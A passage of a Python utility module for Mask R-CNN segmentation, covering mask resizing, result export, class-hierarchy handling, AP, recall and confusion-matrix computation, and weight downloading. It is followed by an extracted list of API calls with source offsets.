return mini_mask[:, :, 0] if soleMask else mini_mask
def expand_mask(bbox, mini_mask, image_shape):
"""Resizes mini masks back to image size. Reverses the change
of minimize_mask().
See inspect_data.ipynb notebook for more details.
"""
if type(image_shape) is not tuple:
image_shape = tuple(image_shape)
soleMask = False
if len(bbox.shape) != 2 and len(mini_mask.shape) != 3:
soleMask = True
_bbox = np.expand_dims(bbox, 0)
_mini_mask = np.expand_dims(mini_mask, 2)
else:
_bbox = bbox
_mini_mask = mini_mask
mask = np.zeros(image_shape[:2] + (_mini_mask.shape[-1],), dtype=bool)
for i in range(mask.shape[-1]):
m = _mini_mask[:, :, i].astype(bool).astype(np.uint8) * 255
y1, x1, y2, x2 = _bbox[i][:4]
h = y2 - y1
w = x2 - x1
# Resize with bilinear interpolation
m = resize(m, (h, w))
mask[y1:y2, x1:x2, i] = np.around(m).astype(np.bool)
return mask[:, :, 0] if soleMask else mask
def minimize_mask_float(mask, bbox, output_shape=(28, 28), offset=32):
"""
Minimizes given mask(s) to floating point masks of the given shape
:param mask: mask as a 2-D uint8 ndarray of shape (H, W) or masks as a 3-D uint8 ndarray of shape (H, W, N)
:param bbox: bbox as a 1-D uint8 ndarray of shape (4) or masks as a 2-D uint8 ndarray of shape (N, 4)
:param output_shape: shape of the output mini-mask(s)
:param offset: the offset on each side of the image part that will be resized (used to avoid
:return: Minimized mask(s) in the same ndarray format as input ones but with output_shape as (H, W) and with float64
dtype
"""
soleMask = False
if len(bbox.shape) != 2 and len(mask.shape) != 3:
soleMask = True
_bbox = np.expand_dims(bbox, 0)
_mask = np.expand_dims(mask, 2)
else:
_bbox = bbox
_mask = mask
mini_masks = np.zeros(output_shape + (_mask.shape[-1],), dtype=np.float64)
for i in range(_mask.shape[-1]):
# Computing mask shape with offset on all sides
mask_shape = tuple(shift_bbox(_bbox[i][:4])[2:] + np.array([offset * 2] * 2))
temp_mask = np.zeros(mask_shape, dtype=np.uint8) # Empty mask
y1, x1, y2, x2 = _bbox[i][:4]
temp_mask[offset:-offset, offset:-offset] = _mask[y1:y2, x1:x2, i] # Filling it with mask
# Resizing to output shape
mini_masks[:, :, i] = resize(temp_mask.astype(bool).astype(np.float64), output_shape)
return mini_masks[:, :, 0] if soleMask else mini_masks
def expand_mask_float(mini_mask, bbox, output_shape=(1024, 1024), offset=32):
"""
Expands given floating point mini-mask(s) back to binary mask(s) with the same shape as the image
:param mini_mask: mini-mask as a 2-D uint8 ndarray of shape (H, W) or mini-masks as a 3-D uint8 ndarray of
shape (H, W, N)
:param bbox: bbox as a 1-D uint8 ndarray of shape (4) or masks as a 2-D uint8 ndarray of shape (N, 4)
:param output_shape: shape of the output mask(s)
:param offset: the offset on each side of the image part that will be resized (used to avoid
:return: Expanded mask(s) in the same ndarray format as input ones but with output_shape as (H, W) and with uint8
dtype
"""
if type(output_shape) is not tuple:
output_shape = tuple(output_shape)
soleMask = False
if len(bbox.shape) != 2 and len(mini_mask.shape) != 3:
soleMask = True
_bbox = np.expand_dims(bbox, 0)
_mini_mask = np.expand_dims(mini_mask, 2)
else:
_bbox = bbox
_mini_mask = mini_mask
masks = np.zeros(output_shape[:2] + (_mini_mask.shape[-1],), dtype=np.uint8)
for i in range(_mini_mask.shape[-1]):
mask_shape = tuple(shift_bbox(_bbox[i][:4])[2:] + np.array([offset * 2] * 2))
resized_mask = resize(_mini_mask[:, :, i], mask_shape)
y1, x1, y2, x2 = _bbox[i][:4]
masks[y1:y2, x1:x2, i] = np.where(resized_mask[offset:-offset, offset:-offset] >= 0.5,
255, 0).astype(np.uint8)
return masks[:, :, 0] if soleMask else masks
def unmold_mask(mask, bbox, image_shape):
"""Converts a mask generated by the neural network to a format similar
to its original shape.
mask: [height, width] of type float. A small, typically 28x28 mask.
bbox: [y1, x1, y2, x2]. The box to fit the mask in.
Returns a binary mask with the same size as the original image.
"""
threshold = 0.5
y1, x1, y2, x2 = bbox
mask = resize(mask, (y2 - y1, x2 - x1))
mask = np.where(mask >= threshold, 1, 0).astype(np.bool)
# Put the mask in the right location.
full_mask = np.zeros(image_shape[:2], dtype=np.bool)
full_mask[y1:y2, x1:x2] = mask
return full_mask
############################################################
# Miscellaneous
############################################################
def export_results(output_path: str, class_ids, boxes=None, masks=None, scores=None, bbox_areas=None, mask_areas=None):
"""
Exports result dictionary to a JSON file for debug
:param output_path: path to the output JSON file
:param class_ids: value of the 'class_ids' key of results dictionary
:param boxes: value of the 'class_ids' key of results dictionary
:param masks: value of the 'class_ids' key of results dictionary
:param scores: value of the 'class_ids' key of results dictionary
:param bbox_areas: value of the 'bbox_areas' key of results dictionary
:param mask_areas: value of the 'masks_areas' key of results dictionary
:return: None
"""
if type(class_ids) is dict:
if 'rois' in class_ids:
boxes = class_ids['rois']
if 'masks' in class_ids:
masks = class_ids['masks']
if 'scores' in class_ids:
scores = class_ids['scores']
if 'bbox_areas' in class_ids:
bbox_areas = class_ids['bbox_areas']
if 'mask_areas' in class_ids:
mask_areas = class_ids['mask_areas']
class_ids = class_ids['class_ids']
oneDArrays = [
(class_ids, "class_ids", int),
(scores, "scores", float),
(bbox_areas, "bbox_areas", float),
(mask_areas, "mask_areas", float),
]
data = {key: [arrayType(v) for v in array] for array, key, arrayType in oneDArrays if array is not None}
if boxes is not None:
data["rois"] = [[int(v) for v in bbox] for bbox in boxes]
if masks is not None:
data["masks"] = [[[int(bool(v)) * 255 for v in row] for row in mask] for mask in masks]
with open(output_path, 'w') as output:
json.dump(data, output)
def import_results(input_path: str):
"""
Imports result dictionary from JSON file for debug
:param input_path: path to the input JSON file
:return: results dictionary
"""
with open(input_path, 'r') as inputFile:
data = json.load(inputFile)
keyType = {'rois': np.int32, 'masks': np.uint8, 'class_ids': int,
'scores': float, 'bbox_areas': float, 'mask_areas': float}
for key in data.keys():
data[key] = np.array(data[key]).astype(keyType[key])
return data
def classes_level(classes_hierarchy):
"""
Return each level of the given class hierarchy with its classes
:param classes_hierarchy: a structure made of list, int for classes of the same lvl, and dict to describe "key class
contains value class(es)". ex : [1, {2: [3, 4]}, {5: 6}] -> [[1, 2, 5], [3, 4, 6]]
:return: list containing each classes of a level as a list : [[ lvl0 ], [ lvl1 ], ...]
"""
if type(classes_hierarchy) is int:
return [[classes_hierarchy]] # Return a hierarchy with only one level containing the value
elif type(classes_hierarchy) is list:
res = []
for element in classes_hierarchy: # For each element of the list
temp = classes_level(element)
for lvl, indices in enumerate(temp): # For each hierarchy level of the current element
if len(indices) > 0:
if len(res) < lvl + 1: # Adding a new level if needed
res.append([])
res[lvl].extend(indices) # Fusing the current hierarchy level to list hierarchy one
return res
elif type(classes_hierarchy) is dict:
res = [[]]
for key in classes_hierarchy:
res[0].append(key) # Append key to lvl 0 classes
if classes_hierarchy[key] is not None:
temp = classes_level(classes_hierarchy[key])
for lvl, indices in enumerate(temp): # For each lvl of class inside the value of key element
if len(res) < lvl + 2: # Adding a new level if needed
res.append([])
res[lvl + 1].extend(indices) # Offsetting each level of the child to be relative to parent class
return res
def remove_redundant_classes(classes_lvl, keepFirst=True):
"""
Remove classes that appears more than once in the classes' levels
:param classes_lvl: list of each level of classes as list : [[ lvl 0 ], [ lvl 1 ], ...]
:param keepFirst: if True, class will be kept in the min level in which it is present, else in the max/last level.
:return: [[ lvl 0 ], [ lvl 1 ], ...] with classes only appearing once
"""
res = [[] for _ in classes_lvl]
seenClass = []
for lvlID, lvl in enumerate(classes_lvl[::1 if keepFirst else -1]): # For each lvl in normal or reverse order
for classID in lvl:
if classID not in seenClass: # Checking if the class ID has already been added or not
seenClass.append(classID) # Adding the class ID to the added ones
res[lvlID if keepFirst else (-1 - lvlID)].append(classID) # Adding the class to its level
for lvl in res: # Removing empty levels
if len(lvl) == 0:
res.remove(lvl)
return res
def compute_confusion_matrix(image_shape: iter, expectedResults: dict, predictedResults: dict, num_classes: int,
config: Config = None):
"""
Computes confusion matrix at pixel precision
:param image_shape: the initial image shape
:param expectedResults: the expected results dict
:param predictedResults: the predicted results dict
:param num_classes: number of classes (max class ID)
:param config: the config object of the AI
:return: confusion matrix as a ndarray of shape (num_classes + 1, num_classes + 1), 0 being background class
"""
expectedImg = create_multiclass_mask(image_shape, expectedResults, config)
predictedImg = create_multiclass_mask(image_shape, predictedResults, config)
confusion_matrix = np.zeros((num_classes + 1, num_classes + 1), dtype=np.int64)
for y in range(image_shape[0]):
for x in range(image_shape[1]):
confusion_matrix[expectedImg[y, x]][predictedImg[y, x]] += 1
return confusion_matrix
def trim_zeros(x):
"""It's common to have tensors larger than the available data and
pad with zeros. This function removes rows that are all zeros.
x: [rows, columns].
"""
assert len(x.shape) == 2
return x[~np.all(x == 0, axis=1)]
def compute_matches(gt_boxes, gt_class_ids, gt_masks, pred_boxes,
pred_class_ids, pred_scores, pred_masks,
ap_iou_threshold=0.5, min_iou_to_count=0.0,
nb_class=-1, confusion_iou_threshold=0.1,
classes_hierarchy=None, confusion_background_class=True, confusion_only_best_match=True):
"""Finds matches between prediction and ground truth instances.
Returns:
gt_match: 1-D array. For each GT box it has the index of the matched
predicted box.
pred_match: 1-D array. For each predicted box, it has the index of
the matched ground truth box.
overlaps: [pred_boxes, gt_boxes] IoU overlaps.
"""
if nb_class > 0:
bg = 1 if confusion_background_class else 0
confusion_matrix = np.zeros((nb_class + bg, nb_class + bg), dtype=np.int64)
else:
confusion_matrix = None
confusion_iou_threshold = 1.
classes_hierarchy_ = None
if classes_hierarchy is not None and type(classes_hierarchy) is list:
classes_hierarchy_ = {list(c.keys())[0]: c[list(c.keys())[0]] for c in classes_hierarchy if type(c) is dict}
elif classes_hierarchy is not None and type(classes_hierarchy) is dict:
classes_hierarchy_ = classes_hierarchy
# Trim zero padding
# TODO: cleaner to do zero unpadding upstream
gt_boxes = trim_zeros(gt_boxes)
gt_masks = gt_masks[..., :gt_boxes.shape[0]]
pred_boxes = trim_zeros(pred_boxes)
pred_scores = pred_scores[:pred_boxes.shape[0]]
# Sort predictions by score from high to low
indices = np.argsort(pred_scores)[::-1]
pred_boxes = pred_boxes[indices]
pred_class_ids = pred_class_ids[indices]
pred_scores = pred_scores[indices]
pred_masks = pred_masks[..., indices]
# Compute IoU overlaps [pred_masks, gt_masks]
overlaps = compute_overlaps_masks(pred_masks, pred_boxes, gt_masks, gt_boxes)
# Loop through predictions and find matching ground truth boxes
pred_match = -1 * np.ones([pred_boxes.shape[0]])
gt_match = -1 * np.ones([gt_boxes.shape[0]])
for pred_idx in range(len(pred_boxes)):
# Find best matching ground truth box
# 1. Sort matches by score
sorted_ixs = np.argsort(overlaps[pred_idx])[::-1]
# 2. Remove low scores
low_score_idx = np.where(overlaps[pred_idx, sorted_ixs] < min_iou_to_count)[0]
if low_score_idx.size > 0:
sorted_ixs = sorted_ixs[:low_score_idx[0]]
# 3. Find the match
match = False
pred_class = pred_class_ids[pred_idx]
for gt_idx in sorted_ixs:
gt_class = gt_class_ids[gt_idx]
# If classes_hierarchy is provided and (gt_class, pred_class) are parent/child classes we skip
if classes_hierarchy_ is not None and (
(
gt_class in classes_hierarchy_
and pred_class in classes_hierarchy_[gt_class]
) or (
pred_class in classes_hierarchy_
and gt_class in classes_hierarchy_[pred_class]
)
):
continue
# If we reach IoU smaller than the threshold, end the loop (list is sorted so all the followings will be
# smaller too)
iou = overlaps[pred_idx, gt_idx]
breakAP = iou < ap_iou_threshold
breakConfusion = iou < confusion_iou_threshold
if breakAP and breakConfusion:
break
if not breakConfusion and confusion_matrix is not None and (not confusion_only_best_match or not match):
match = True
if confusion_background_class:
confusion_matrix[gt_class][pred_class] += 1
else:
confusion_matrix[gt_class - 1][pred_class - 1] += 1
# If ground truth box is already matched, go to next one
# TODO : Rework that part, specially for confusion matrix, we are counting positive predictions for each
# match with a gt_mask not only the first time
if gt_match[gt_idx] > -1:
continue
if not breakAP:
# Do we have a match?
if pred_class == gt_class:
gt_match[gt_idx] = pred_idx
pred_match[pred_idx] = gt_idx
# Something has been predicted but no ground truth annotation
if confusion_matrix is not None and confusion_background_class and not match:
confusion_matrix[0][pred_class] += 1
# Looking for a ground truth box without overlapping prediction
if confusion_matrix is not None and confusion_background_class:
for gt_idx in range(len(gt_match)):
if gt_match[gt_idx] == -1:
if gt_class_ids[gt_idx] > nb_class:
print(f"Error : got class id = {gt_class_ids[gt_idx]} while max class id = {nb_class}")
else:
confusion_matrix[gt_class_ids[gt_idx]][0] += 1
return gt_match, pred_match, overlaps, confusion_matrix
def compute_ap(gt_boxes, gt_class_ids, gt_masks,
pred_boxes, pred_class_ids, pred_scores, pred_masks,
iou_threshold=0.5, score_threshold=0.3,
nb_class=-1, confusion_iou_threshold=0.3, classes_hierarchy=None,
confusion_background_class=True, confusion_only_best_match=True):
"""Compute Average Precision at a set IoU threshold (default 0.5).
Returns:
mAP: Mean Average Precision
precisions: List of precisions at different class score thresholds.
recalls: List of recall values at different class score thresholds.
overlaps: [pred_boxes, gt_boxes] IoU overlaps.
"""
# Get matches and overlaps
gt_match, pred_match, overlaps, confusion_matrix = compute_matches(
gt_boxes=gt_boxes, gt_class_ids=gt_class_ids, gt_masks=gt_masks, min_iou_to_count=score_threshold,
pred_boxes=pred_boxes, pred_class_ids=pred_class_ids, pred_masks=pred_masks, pred_scores=pred_scores,
nb_class=nb_class, ap_iou_threshold=iou_threshold, confusion_iou_threshold=confusion_iou_threshold,
classes_hierarchy=classes_hierarchy, confusion_background_class=confusion_background_class,
confusion_only_best_match=confusion_only_best_match
)
if len(gt_class_ids) == len(pred_class_ids) == 0:
return 1., 1., 1., overlaps, confusion_matrix
# Compute precision and recall at each prediction box step
precisions = np.cumsum(pred_match > -1) / (np.arange(len(pred_match)) + 1)
recalls = np.cumsum(pred_match > -1).astype(np.float32) / len(gt_match)
for i in range(len(recalls)):
if np.isnan(recalls[i]):
recalls[i] = 0.
# Pad with start and end values to simplify the math
precisions = np.concatenate([[0], precisions, [0]])
recalls = np.concatenate([[0], recalls, [1]])
# Ensure precision values decrease but don't increase. This way, the
# precision value at each recall threshold is the maximum it can be
# for all following recall thresholds, as specified by the VOC paper.
for i in range(len(precisions) - 2, -1, -1):
precisions[i] = np.maximum(precisions[i], precisions[i + 1])
# Compute mean AP over recall range
indices = np.where(recalls[:-1] != recalls[1:])[0] + 1
mAP = np.sum((recalls[indices] - recalls[indices - 1]) *
precisions[indices])
return mAP, precisions, recalls, overlaps, confusion_matrix
def compute_ap_range(gt_box, gt_class_id, gt_mask,
pred_box, pred_class_id, pred_score, pred_mask,
iou_thresholds=None, verbose=1):
"""Compute AP over a range or IoU thresholds. Default range is 0.5-0.95."""
# Default is 0.5 to 0.95 with increments of 0.05
iou_thresholds = iou_thresholds or np.arange(0.5, 1.0, 0.05)
# Compute AP over range of IoU thresholds
AP = []
for iou_threshold in iou_thresholds:
ap, precisions, recalls, overlaps, _ = \
compute_ap(gt_box, gt_class_id, gt_mask,
pred_box, pred_class_id, pred_score, pred_mask,
iou_threshold=iou_threshold)
if verbose:
print(f"AP @{iou_threshold:.2f}:\t {ap:.3f}")
AP.append(ap)
AP = np.array(AP).mean()
if verbose:
print(f"AP @{iou_thresholds[0]:.2f}-{iou_thresholds[-1]:.2f}:\t {AP:.3f}")
return AP
def compute_recall(pred_boxes, gt_boxes, iou):
"""Compute the recall at the given IoU threshold. It's an indication
of how many GT boxes were found by the given prediction boxes.
pred_boxes: [N, (y1, x1, y2, x2)] in image coordinates
gt_boxes: [N, (y1, x1, y2, x2)] in image coordinates
"""
# Measure overlaps
overlaps = compute_overlaps(pred_boxes, gt_boxes)
iou_max = np.max(overlaps, axis=1)
iou_argmax = np.argmax(overlaps, axis=1)
positive_ids = np.where(iou_max >= iou)[0]
matched_gt_boxes = iou_argmax[positive_ids]
recall = len(set(matched_gt_boxes)) / gt_boxes.shape[0]
return recall, positive_ids
def download_trained_weights(weights=None, verbose=1):
""" Download trained weights from Releases. """
if weights is None:
weights = WEIGHTS_URL
if verbose > 0:
print("Downloading weights files if needed ...", end='')
for weightsUrl in weights:
path = weightsUrl.split('/')[-1]
if not os.path.exists(path) and not os.path.exists(path.replace(".zip", "")):
with urllib.request.urlopen(weightsUrl) as resp, open(path, 'wb') as out:
shutil.copyfileobj(resp, out)
if not os.path.exists(path.replace(".zip", "")):
with zipfile.ZipFile(path, 'r') as zip_ref:
zip_ref.extractall(".")
if verbose > 0:
print(" Done !")
def norm_boxes(boxes, shape):
"""Converts boxes from pixel coordinates to normalized coordinates.
boxes: [N, (y1, x1, y2, x2)] in pixel coordinates
shape: [..., (height, width)] in pixels
Note: In pixel coordinates (y2, x2) is outside the box. But in normalized
coordinates it's inside the box.
Returns:
[N, (y1, x1, y2, x2)] in normalized coordinates
"""
h, w = shape
scale = np.array([h - 1, w - 1, h - 1, w - 1])
shift = np.array([0, 0, 1, 1])
return np.divide((boxes - shift), scale).astype(np.float32)
def denorm_boxes(boxes, shape):
"""Converts boxes from normalized coordinates to pixel coordinates.
boxes: [N, (y1, x1, y2, x2)] in normalized coordinates
shape: [..., (height, width)] in pixels
Note: In pixel coordinates (y2, x2) is outside the box. But in normalized
coordinates it's inside the box.
Returns:
[N, (y1, x1, y2, x2)] in pixel coordinates
"""
h, w = shape
scale = np.array([h - 1, w - 1, h - 1, w - 1])
shift = np.array([0, 0, 1, 1])
return np.around(np.multiply(boxes, scale) + shift).astype(np.int32)
def resize(image, output_shape, order=1, mode='constant', cval=0, clip=True,
preserve_range=False, anti_aliasing=False, anti_aliasing_sigma=None):
"""A wrapper for Scikit-Image resize().
Scikit-Image generates warnings on every call to resize() if it doesn't
receive the right parameters. The right parameters depend on the version
of skimage. This solves the problem by using different parameters per
version. And it provides a central place to control resizing defaults.
"""
if LooseVersion(skimage.__version__) >= LooseVersion("0.14"):
# New in 0.14: anti_aliasing. Default it to False for backward
# compatibility with skimage 0.13.
return skimage.transform.resize(
image, output_shape,
order=order, mode=mode, cval=cval, clip=clip,
preserve_range=preserve_range, anti_aliasing=anti_aliasing,
anti_aliasing_sigma=anti_aliasing_sigma)
else:
return skimage.transform.resize(
image, output_shape,
order=order, mode=mode, cval=cval, clip=clip,
preserve_range=preserve_range)
| [
"zipfile.ZipFile",
"datasetTools.datasetDivider.getBWCount",
"numpy.argsort",
"numpy.array",
"scipy.ndimage.zoom",
"numpy.arange",
"numpy.divide",
"os.path.exists",
"numpy.multiply",
"numpy.where",
"numpy.delete",
"numpy.max",
"numpy.empty",
"numpy.concatenate",
"mrcnn.visualize.create_m... | [((2388, 2407), 'datasetTools.datasetDivider.getBWCount', 'dD.getBWCount', (['mask'], {}), '(mask)\n', (2401, 2407), True, 'from datasetTools import datasetDivider as dD\n'), ((3369, 3425), 'numpy.pad', 'np.pad', (['base_mask', '(1)'], {'mode': '"""constant"""', 'constant_values': '(0)'}), "(base_mask, 1, mode='constant', constant_values=0)\n", (3375, 3425), True, 'import numpy as np\n'), ((3436, 3476), 'numpy.zeros_like', 'np.zeros_like', (['base_mask'], {'dtype': 'np.uint8'}), '(base_mask, dtype=np.uint8)\n', (3449, 3476), True, 'import numpy as np\n'), ((7307, 7353), 'numpy.zeros', 'np.zeros', (['[_mask.shape[-1], 4]'], {'dtype': 'np.int32'}), '([_mask.shape[-1], 4], dtype=np.int32)\n', (7315, 7353), True, 'import numpy as np\n'), ((8566, 8597), 'numpy.maximum', 'np.maximum', (['box[0]', 'boxes[:, 0]'], {}), '(box[0], boxes[:, 0])\n', (8576, 8597), True, 'import numpy as np\n'), ((8607, 8638), 'numpy.minimum', 'np.minimum', (['box[2]', 'boxes[:, 2]'], {}), '(box[2], boxes[:, 2])\n', (8617, 8638), True, 'import numpy as np\n'), ((8648, 8679), 'numpy.maximum', 'np.maximum', (['box[1]', 'boxes[:, 1]'], {}), '(box[1], boxes[:, 1])\n', (8658, 8679), True, 'import numpy as np\n'), ((8689, 8720), 'numpy.minimum', 'np.minimum', (['box[3]', 'boxes[:, 3]'], {}), '(box[3], boxes[:, 3])\n', (8699, 8720), True, 'import numpy as np\n'), ((9548, 9592), 'numpy.zeros', 'np.zeros', (['(boxes1.shape[0], boxes2.shape[0])'], {}), '((boxes1.shape[0], boxes2.shape[0]))\n', (9556, 9592), True, 'import numpy as np\n'), ((9928, 9974), 'numpy.zeros', 'np.zeros', (['(masks1.shape[-1], masks2.shape[-1])'], {}), '((masks1.shape[-1], masks2.shape[-1]))\n', (9936, 9974), True, 'import numpy as np\n'), ((10177, 10203), 'numpy.nonzero', 'np.nonzero', (['matching_boxes'], {}), '(matching_boxes)\n', (10187, 10203), True, 'import numpy as np\n'), ((12055, 12085), 'numpy.array', 'np.array', (['pick'], {'dtype': 'np.int32'}), '(pick, dtype=np.int32)\n', (12063, 12085), True, 'import numpy as np\n'), ((23673, 23726), 'numpy.zeros', 'np.zeros', (['(mini_shape + (_mask.shape[-1],))'], {'dtype': 'bool'}), '(mini_shape + (_mask.shape[-1],), dtype=bool)\n', (23681, 23726), True, 'import numpy as np\n'), ((24809, 24872), 'numpy.zeros', 'np.zeros', (['(image_shape[:2] + (_mini_mask.shape[-1],))'], {'dtype': 'bool'}), '(image_shape[:2] + (_mini_mask.shape[-1],), dtype=bool)\n', (24817, 24872), True, 'import numpy as np\n'), ((26159, 26220), 'numpy.zeros', 'np.zeros', (['(output_shape + (_mask.shape[-1],))'], {'dtype': 'np.float64'}), '(output_shape + (_mask.shape[-1],), dtype=np.float64)\n', (26167, 26220), True, 'import numpy as np\n'), ((27888, 27956), 'numpy.zeros', 'np.zeros', (['(output_shape[:2] + (_mini_mask.shape[-1],))'], {'dtype': 'np.uint8'}), '(output_shape[:2] + (_mini_mask.shape[-1],), dtype=np.uint8)\n', (27896, 27956), True, 'import numpy as np\n'), ((28958, 28998), 'numpy.zeros', 'np.zeros', (['image_shape[:2]'], {'dtype': 'np.bool'}), '(image_shape[:2], dtype=np.bool)\n', (28966, 28998), True, 'import numpy as np\n'), ((34893, 34953), 'mrcnn.visualize.create_multiclass_mask', 'create_multiclass_mask', (['image_shape', 'expectedResults', 'config'], {}), '(image_shape, expectedResults, config)\n', (34915, 34953), False, 'from mrcnn.visualize import create_multiclass_mask\n'), ((34973, 35034), 'mrcnn.visualize.create_multiclass_mask', 'create_multiclass_mask', (['image_shape', 'predictedResults', 'config'], {}), '(image_shape, predictedResults, config)\n', (34995, 35034), False, 'from mrcnn.visualize import create_multiclass_mask\n'), ((35058, 35118), 'numpy.zeros', 'np.zeros', (['(num_classes + 1, num_classes + 1)'], {'dtype': 'np.int64'}), '((num_classes + 1, num_classes + 1), dtype=np.int64)\n', (35066, 35118), True, 'import numpy as np\n'), ((42510, 42548), 'numpy.concatenate', 'np.concatenate', (['[[0], precisions, [0]]'], {}), '([[0], precisions, [0]])\n', (42524, 42548), True, 'import numpy as np\n'), ((42563, 42598), 'numpy.concatenate', 'np.concatenate', (['[[0], recalls, [1]]'], {}), '([[0], recalls, [1]])\n', (42577, 42598), True, 'import numpy as np\n'), ((43047, 43118), 'numpy.sum', 'np.sum', (['((recalls[indices] - recalls[indices - 1]) * precisions[indices])'], {}), '((recalls[indices] - recalls[indices - 1]) * precisions[indices])\n', (43053, 43118), True, 'import numpy as np\n'), ((44547, 44571), 'numpy.max', 'np.max', (['overlaps'], {'axis': '(1)'}), '(overlaps, axis=1)\n', (44553, 44571), True, 'import numpy as np\n'), ((44589, 44616), 'numpy.argmax', 'np.argmax', (['overlaps'], {'axis': '(1)'}), '(overlaps, axis=1)\n', (44598, 44616), True, 'import numpy as np\n'), ((45966, 46004), 'numpy.array', 'np.array', (['[h - 1, w - 1, h - 1, w - 1]'], {}), '([h - 1, w - 1, h - 1, w - 1])\n', (45974, 46004), True, 'import numpy as np\n'), ((46017, 46039), 'numpy.array', 'np.array', (['[0, 0, 1, 1]'], {}), '([0, 0, 1, 1])\n', (46025, 46039), True, 'import numpy as np\n'), ((46531, 46569), 'numpy.array', 'np.array', (['[h - 1, w - 1, h - 1, w - 1]'], {}), '([h - 1, w - 1, h - 1, w - 1])\n', (46539, 46569), True, 'import numpy as np\n'), ((46582, 46604), 'numpy.array', 'np.array', (['[0, 0, 1, 1]'], {}), '([0, 0, 1, 1])\n', (46590, 46604), True, 'import numpy as np\n'), ((6008, 6050), 'numpy.array', 'np.array', (['[0, 0, yMax - yMin, xMax - xMin]'], {}), '([0, 0, yMax - yMin, xMax - xMin])\n', (6016, 6050), True, 'import numpy as np\n'), ((7216, 7239), 'numpy.expand_dims', 'np.expand_dims', (['mask', '(2)'], {}), '(mask, 2)\n', (7230, 7239), True, 'import numpy as np\n'), ((8740, 8762), 'numpy.maximum', 'np.maximum', (['(x2 - x1)', '(0)'], {}), '(x2 - x1, 0)\n', (8750, 8762), True, 'import numpy as np\n'), ((8765, 8787), 'numpy.maximum', 'np.maximum', (['(y2 - y1)', '(0)'], {}), '(y2 - y1, 0)\n', (8775, 8787), True, 'import numpy as np\n'), ((11985, 12011), 'numpy.delete', 'np.delete', (['ixs', 'remove_ixs'], {}), '(ixs, remove_ixs)\n', (11994, 12011), True, 'import numpy as np\n'), ((12026, 12043), 'numpy.delete', 'np.delete', (['ixs', '(0)'], {}), '(ixs, 0)\n', (12035, 12043), True, 'import numpy as np\n'), ((14565, 14592), 'numpy.arange', 'np.arange', (['self.num_classes'], {}), '(self.num_classes)\n', (14574, 14592), True, 'import numpy as np\n'), ((14742, 14768), 'numpy.arange', 'np.arange', (['self.num_images'], {}), '(self.num_images)\n', (14751, 14768), True, 'import numpy as np\n'), ((17737, 17843), 'logging.warning', 'logging.warning', (['"""You are using the default load_mask(), maybe you need to define your own one."""'], {}), "(\n 'You are using the default load_mask(), maybe you need to define your own one.'\n )\n", (17752, 17843), False, 'import logging\n'), ((17849, 17868), 'numpy.empty', 'np.empty', (['[0, 0, 0]'], {}), '([0, 0, 0])\n', (17857, 17868), True, 'import numpy as np\n'), ((17889, 17912), 'numpy.empty', 'np.empty', (['[0]', 'np.int32'], {}), '([0], np.int32)\n', (17897, 17912), True, 'import numpy as np\n'), ((20950, 21008), 'numpy.pad', 'np.pad', (['image', 'padding'], {'mode': '"""constant"""', 'constant_values': '(0)'}), "(image, padding, mode='constant', constant_values=0)\n", (20956, 21008), True, 'import numpy as np\n'), ((22855, 22880), 'warnings.catch_warnings', 'warnings.catch_warnings', ([], {}), '()\n', (22878, 22880), False, 'import warnings\n'), ((22890, 22921), 'warnings.simplefilter', 'warnings.simplefilter', (['"""ignore"""'], {}), "('ignore')\n", (22911, 22921), False, 'import warnings\n'), ((22937, 22994), 'scipy.ndimage.zoom', 'scipy.ndimage.zoom', (['mask'], {'zoom': '[scale, scale, 1]', 'order': '(0)'}), '(mask, zoom=[scale, scale, 1], order=0)\n', (22955, 22994), False, 'import scipy\n'), ((23109, 23166), 'numpy.pad', 'np.pad', (['mask', 'padding'], {'mode': '"""constant"""', 'constant_values': '(0)'}), "(mask, padding, mode='constant', constant_values=0)\n", (23115, 23166), True, 'import numpy as np\n'), ((23541, 23564), 'numpy.expand_dims', 'np.expand_dims', (['bbox', '(0)'], {}), '(bbox, 0)\n', (23555, 23564), True, 'import numpy as np\n'), ((23581, 23604), 'numpy.expand_dims', 'np.expand_dims', (['mask', '(2)'], {}), '(mask, 2)\n', (23595, 23604), True, 'import numpy as np\n'), ((24662, 24685), 'numpy.expand_dims', 'np.expand_dims', (['bbox', '(0)'], {}), '(bbox, 0)\n', (24676, 24685), True, 'import numpy as np\n'), ((24707, 24735), 'numpy.expand_dims', 'np.expand_dims', (['mini_mask', '(2)'], {}), '(mini_mask, 2)\n', (24721, 24735), True, 'import numpy as np\n'), ((26026, 26049), 'numpy.expand_dims', 'np.expand_dims', (['bbox', '(0)'], {}), '(bbox, 0)\n', (26040, 26049), True, 'import numpy as np\n'), ((26066, 26089), 'numpy.expand_dims', 'np.expand_dims', (['mask', '(2)'], {}), '(mask, 2)\n', (26080, 26089), True, 'import numpy as np\n'), ((26420, 26456), 'numpy.zeros', 'np.zeros', (['mask_shape'], {'dtype': 'np.uint8'}), '(mask_shape, dtype=np.uint8)\n', (26428, 26456), True, 'import numpy as np\n'), ((27740, 27763), 'numpy.expand_dims', 'np.expand_dims', (['bbox', '(0)'], {}), '(bbox, 0)\n', (27754, 27763), True, 'import numpy as np\n'), ((27785, 27813), 'numpy.expand_dims', 'np.expand_dims', (['mini_mask', '(2)'], {}), '(mini_mask, 2)\n', (27799, 27813), True, 'import numpy as np\n'), ((30915, 30938), 'json.dump', 'json.dump', (['data', 'output'], {}), '(data, output)\n', (30924, 30938), False, 'import json\n'), ((31192, 31212), 'json.load', 'json.load', (['inputFile'], {}), '(inputFile)\n', (31201, 31212), False, 'import json\n'), ((36399, 36455), 'numpy.zeros', 'np.zeros', (['(nb_class + bg, nb_class + bg)'], {'dtype': 'np.int64'}), '((nb_class + bg, nb_class + bg), dtype=np.int64)\n', (36407, 36455), True, 'import numpy as np\n'), ((37196, 37219), 'numpy.argsort', 'np.argsort', (['pred_scores'], {}), '(pred_scores)\n', (37206, 37219), True, 'import numpy as np\n'), ((37613, 37643), 'numpy.ones', 'np.ones', (['[pred_boxes.shape[0]]'], {}), '([pred_boxes.shape[0]])\n', (37620, 37643), True, 'import numpy as np\n'), ((37664, 37692), 'numpy.ones', 'np.ones', (['[gt_boxes.shape[0]]'], {}), '([gt_boxes.shape[0]])\n', (37671, 37692), True, 'import numpy as np\n'), ((42203, 42229), 'numpy.cumsum', 'np.cumsum', (['(pred_match > -1)'], {}), '(pred_match > -1)\n', (42212, 42229), True, 'import numpy as np\n'), ((42386, 42406), 'numpy.isnan', 'np.isnan', (['recalls[i]'], {}), '(recalls[i])\n', (42394, 42406), True, 'import numpy as np\n'), ((42892, 42936), 'numpy.maximum', 'np.maximum', (['precisions[i]', 'precisions[i + 1]'], {}), 